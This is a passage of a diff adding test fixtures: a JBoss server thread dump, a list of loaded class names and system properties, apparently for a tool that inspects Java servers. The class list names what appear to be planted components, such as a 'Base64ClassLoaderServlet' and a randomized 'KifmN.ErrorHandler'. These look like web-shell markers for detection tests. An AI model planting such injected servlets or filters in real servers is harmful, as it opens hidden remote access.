java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"MSC service thread 1-14" #26 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1b5e4969 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"ServerService Thread Pool -- 43" #83 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 29" #67 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"MSC service thread 1-8" #20 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1b5e4969 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"ServerService Thread Pool -- 33" #71 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 17" #53 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"Timer-0" #100 [WAITING] on java.util.TaskQueue@65d221fb + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"MSC service thread 1-17" #29 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1b5e4969 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"ServerService Thread Pool -- 40" #80 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 1" #37 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@331832af + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"MSC service thread 1-22" #34 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1b5e4969 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"ContainerBackgroundProcessor[StandardEngine[jboss.web]]" #97 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1563) + at java.lang.Thread.run(Thread.java:750) + +"MSC service thread 1-5" #17 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1b5e4969 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"ServerService Thread Pool -- 59" #112 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 32" #70 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 45" #85 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 36" #74 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 11" #47 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"Transaction Expired Entry Monitor" #101 daemon [TIMED_WAITING] on com.arjuna.ats.internal.arjuna.recovery.ExpiredEntryMonitor@5e9d807e + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.arjuna.ats.internal.arjuna.recovery.ExpiredEntryMonitor.run(ExpiredEntryMonitor.java:190) + +"ServerService Thread Pool -- 6" #42 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 57" #117 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"IdleRemover" #93 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@172deaa4 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2163) + at org.jboss.jca.core.connectionmanager.pool.idle.IdleRemover$IdleRemoverRunner.run(IdleRemover.java:261) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"MSC service thread 1-2" #14 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1b5e4969 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"ServerService Thread Pool -- 55" #111 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"MSC service thread 1-13" #25 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1b5e4969 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Remoting "4dc98d6df1d2:MANAGEMENT" read-1" #76 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:164) + +"ServerService Thread Pool -- 34" #72 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"http-/0.0.0.0:8080-Poller" #102 daemon [TIMED_WAITING] on org.apache.tomcat.util.net.JIoEndpoint$Poller@7a051378 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.apache.tomcat.util.net.JIoEndpoint$Poller.run(JIoEndpoint.java:735) + at java.lang.Thread.run(Thread.java:750) + +"http-/0.0.0.0:8080-3" #122 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at org.apache.coyote.http11.InternalInputBuffer.fill(InternalInputBuffer.java:713) + at org.apache.coyote.http11.InternalInputBuffer.parseRequestLine(InternalInputBuffer.java:351) + at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:819) + at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:653) + at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:926) + at java.lang.Thread.run(Thread.java:750) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@573d6bba + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216) + +"ServerService Thread Pool -- 10" #46 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 41" #81 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"Periodic Recovery" #95 [TIMED_WAITING] on java.lang.Object@2314455f + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.arjuna.ats.internal.arjuna.recovery.PeriodicRecovery.doBackoffWait(PeriodicRecovery.java:661) + at com.arjuna.ats.internal.arjuna.recovery.PeriodicRecovery.doWorkInternal(PeriodicRecovery.java:763) + at com.arjuna.ats.internal.arjuna.recovery.PeriodicRecovery.run(PeriodicRecovery.java:375) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +com.arjuna.ats.arjuna.coordinator.TransactionReaper +com.arjuna.ats.internal.arjuna.coordinator.ReaperThread +com.arjuna.ats.internal.arjuna.coordinator.ReaperWorkerThread +com.arjuna.ats.internal.arjuna.recovery.ExpiredEntryMonitor +com.arjuna.ats.internal.arjuna.recovery.PeriodicRecovery +org.apache.catalina.connector.CoyoteAdapter +org.apache.catalina.connector.CoyoteWriter +org.apache.catalina.core.ApplicationFilterChain +org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor +org.apache.catalina.core.StandardContextValve +org.apache.catalina.core.StandardEngineValve +org.apache.catalina.core.StandardHostValve +org.apache.catalina.core.StandardWrapperValve +org.apache.catalina.valves.ErrorReportValve +org.apache.coyote.http11.Http11Processor +org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler +org.apache.coyote.http11.InternalInputBuffer +org.apache.http.client.KifmN.ErrorHandler +org.apache.tomcat.util.net.DefaultServerSocketFactory +org.apache.tomcat.util.net.JIoEndpoint$Acceptor +org.apache.tomcat.util.net.JIoEndpoint$Poller +org.apache.tomcat.util.net.JIoEndpoint$Worker +org.jboss.as.web.security.SecurityContextAssociationValve +org.jboss.jca.core.connectionmanager.pool.idle.IdleRemover$IdleRemoverRunner +org.jboss.jca.core.connectionmanager.pool.validator.ConnectionValidator$ConnectionValidatorRunner +org.jboss.modules.ref.References$ReaperThread +org.jboss.sun.net.httpserver.ServerImpl$Dispatcher +org.jboss.threads.JBossThread +org.xnio.nio.WorkerThread diff --git a/integration-test/src/test/resources/infos/JbossEap7ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/JbossEap7ContainerTestBasicInfo.txt new file mode 100644 index 00000000..c3855b82 --- /dev/null +++ b/integration-test/src/test/resources/infos/JbossEap7ContainerTestBasicInfo.txt @@ -0,0 +1,1352 @@ +# Generated At 2025-08-10 14:58:08 +SystemProps: +jboss.qualified.host.name: 85dc59497aba +java.vendor: Oracle Corporation +logging.configuration: file:/usr/local/jboss/standalone/configuration/logging.properties +jboss.modules.system.pkgs: org.jboss.byteman +org.apache.xml.security.ignoreLineBreaks: true +sun.java.launcher: SUN_STANDARD +sun.nio.ch.bugLevel: +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +os.name: Linux +sun.boot.class.path: /usr/local/openjdk-8/jre/lib/resources.jar:/usr/local/openjdk-8/jre/lib/rt.jar:/usr/local/openjdk-8/jre/lib/sunrsasign.jar:/usr/local/openjdk-8/jre/lib/jsse.jar:/usr/local/openjdk-8/jre/lib/jce.jar:/usr/local/openjdk-8/jre/lib/charsets.jar:/usr/local/openjdk-8/jre/lib/jfr.jar:/usr/local/openjdk-8/jre/classes +jboss.server.persist.config: true +java.vm.specification.vendor: Oracle Corporation +java.runtime.version: 1.8.0_342-b07 +user.name: root +jboss.bind.address: 0.0.0.0 +jboss.node.name: 85dc59497aba +[Standalone]: +jboss.home.dir: /usr/local/jboss +user.language: en +sun.boot.library.path: /usr/local/openjdk-8/jre/lib/aarch64 +java.version: 1.8.0_342 +java.util.logging.manager: org.jboss.logmanager.LogManager +user.timezone: Etc/UTC +java.net.preferIPv4Stack: true +sun.arch.data.model: 64 +java.endorsed.dirs: /usr/local/openjdk-8/jre/lib/endorsed +sun.cpu.isalist: +sun.jnu.encoding: UTF-8 +jboss.server.config.dir: /usr/local/jboss/standalone/configuration +file.encoding.pkg: sun.io +file.separator: / +java.specification.name: Java Platform API Specification +java.class.version: 52.0 +java.home: /usr/local/openjdk-8/jre +java.vm.info: mixed mode +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +org.jboss.boot.log.file: /usr/local/jboss/standalone/log/server.log +path.separator: : +java.vm.version: 25.342-b07 +java.protocol.handler.pkgs: org.jboss.net.protocol|org.jboss.vfs.protocol +java.awt.printerjob: sun.print.PSPrinterJob +jboss.modules.dir: /usr/local/jboss/modules +sun.io.unicode.encoding: UnicodeLittle +jboss.server.deploy.dir: /usr/local/jboss/standalone/data/content +awt.toolkit: sun.awt.X11.XToolkit +module.path: /usr/local/jboss/modules +java.naming.factory.url.pkgs: org.jboss.as.naming.interfaces +jboss.server.temp.dir: /usr/local/jboss/standalone/tmp +user.home: /root 